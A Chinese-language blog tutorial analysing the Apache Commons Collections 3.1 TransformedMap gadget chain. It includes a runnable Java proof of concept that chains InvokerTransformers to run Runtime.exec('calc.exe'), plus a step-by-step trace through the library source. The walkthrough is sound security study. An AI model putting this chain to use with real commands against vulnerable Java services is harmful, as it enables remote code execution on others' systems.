初探CC链
这里先放出完整的代码和commons-collections的版本
1 import org.apache.commons.collections.functors.ChainedTransformer; 2 import org.apache.commons.collections.functors.ConstantTransformer; 3 import org.apache.commons.collections.functors.InvokerTransformer; 4 import org.apache.commons.collections.map.TransformedMap; 5 import org.apache.commons.collections.Transformer; 6 import java.io.IOException; 7 import java.lang.reflect.InvocationTargetException; 8 import java.util.HashMap; 9 import java.util.Map; 10 11 public class ExecTest { 12 public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException { 13 Transformer[] transformers = new Transformer[]{ 14 new ConstantTransformer(Runtime.class), 15 new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}), 16 new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{"null",new Object[0]}), 17 new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"}) 18 }; 19 Transformer transformerChain = new ChainedTransformer(transformers); 20 Map innerMap = new HashMap(); 21 innerMap.put("key","value"); 22 Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain); 23 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); 24 System.out.println(onlyElement); 25 onlyElement.setValue("hahaha"); 26 } 27 } 28 // maven依赖 29 <dependency> 30 <groupId>commons-collections</groupId> 31 <artifactId>commons-collections</artifactId> 32 <version>3.1</version> 33 </dependency>
**********************************************************************************************************************************************************************************************************************************************************************************
分析 ConstantTransformer
1 public ConstantTransformer(Object constantToReturn) { 2 this.iConstant = constantToReturn; 3 } 4 //把我们传入的对象赋值给this.iConstant 5 6 7 public Object transform(Object input) { 8 return this.iConstant; 9 } 10 //执行 transform(Object input) 会返回this.iConstant
**********************************************************************************************************************************************************************************************************************************************************************************
分析InvokerTransformer
1 public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { 2 this.iMethodName = methodName; 3 this.iParamTypes = paramTypes; 4 this.iArgs = args; 5 } 6 //三个参数分别为:方法名称、形参、实参 7 8 9 public Object transform(Object input) { 10 if (input == null) { 11 return null; 12 } else { 13 try { 14 Class cls = input.getClass(); 15 Method method = cls.getMethod(this.iMethodName, this.iParamTypes); 16 return method.invoke(input, this.iArgs); 17 } catch (NoSuchMethodException var5) { 18 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist"); 19 } catch (IllegalAccessException var6) { 20 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed"); 21 } catch (InvocationTargetException var7) { 22 throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7); 23 } 24 } 25 } 26 27 //这里用到了反射的知识。 28 //根据传入的input得到对应的类cls 29 Class cls = input.getClass(); 30 31 //传入方法的名称和形参得到对应的方法 32 Method method = cls.getMethod(this.iMethodName, this.iParamTypes); 33 34 //传入对象,实参,调用该方法 35 return method.invoke(input, this.iArgs);
**********************************************************************************************************************************************************************************************************************************************************************************
分析ChainedTransformer
1 public ChainedTransformer(Transformer[] transformers) { 2 this.iTransformers = transformers; 3 } 4 //给this.iTransformers赋值 5 6 public Object transform(Object object) { 7 for(int i = 0; i < this.iTransformers.length; ++i) { 8 object = this.iTransformers[i].transform(object); 9 } 10 11 return object; 12 } 13 //1.这里是把链子串起来的关键。 14 //2.循环遍历iTransformers,把上一个iTransformers[i].transform(object)的返回值作为下一个iTransformers[i].transform(object)的参数。 15 //3.只要触发了这个方法就能成功执行payload,后面我们就要想办法让程序执行这个方法。
这里列出执行过程,帮助理解
1 //第一次循环 2 Class cls1= Runtime.class; 3 4 //第二次循环 5 Class cls2 = cls1.getClass(); 6 Method m1 = cls2.getMethod("getMethod",new Class[]{String.class,Class[].class}); 7 Object o1 = m1.invoke(cls1,new Object[]{"getRuntime",new Class[0]}); 8 9 //第三次循环 10 Class cls3 = o1.getClass(); 11 Method m2 = cls3.getMethod("invoke",new Class[]{Object.class,Object[].class}); 12 Object o2 = m2.invoke(o1,new Object[]{"null",new Object[0]}); 13 14 //第四次循环 15 Class cls4 = o2.getClass(); 16 Method m3 = cls4.getMethod("exec",new Class[]{String.class}); 17 Object o3 = m3.invoke(o2,new Object[]{"calc.exe"}); 18 19 //等价于 20 Runtime.getRuntime().exec("calc");
**********************************************************************************************************************************************************************************************************************************************************************************
1 Map innerMap = new HashMap(); // 实例化一个HashMap对象 2 innerMap.put("key","value"); // 给这个Map里添加一个键值对 3 Map outerMap = TransformedMap.decorate(innerMap,null,transformerChain); 4 // outerMap.map = innerMap, outerMap.keyTransformer = null 5 // outerMap.ValueTransformer = transformerChain
这里咱们来追踪一下decorate方法:
1.点进decorate,看到它返回的是TransformedMap对象。

2.找到TransformedMap的构造方法,可以看到给this.keyTransformer和this.ValueTransformer进行了复制。此时我们看到了super(map)说明map参数是在父类的方法里处理的。

3.点进super,发现这里还是super(map)。

4.继续点进super,我们成功找到了处理map的方法,可以看到如果传入的map为空的话就会抛出一个异常,这就是为什么要执行innerMap.put("key","value");的原因。
如果map不为空的话,就将传入的map赋值给当前对象的map。

**********************************************************************************************************************************************************************************************************************************************************************************
1 Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next(); 2 // 取出outerMap.map的最后一个键值对 3 onlyElement.setValue("hahaha"); 4 // setValue可以触发前面ChainedTransformer的transform方法
我们现在来追踪一下setValue的调用过程:
1.点进setValue,发现setValue是Map的一个接口

2.onlyElement是来自TransformedMap的,所以我们点进TransformedMap寻找setValue方法。CTRL+F查找setValue方法,没有找到,说明该方法可能是在父类实现的。

3.点进TransformedMap的父类AbstractInputCheckedMapDecorator。成功找到setValue方法。这里我们关注checkSetValue。

4.跟进checkSetValue,发现这是一个抽象方法,说明其实现的地方是在子类。

5.AbstractInputCheckedMapDecorator的子类就是TransformedMap方法,所以我们回到TransformedMap方法成功找到checkValue方法。可以看到在这个方法里执行了this.valueTransformer.transform(value)。到这里,我们的命令就可以成功执行。

浙公网安备 33010602011771号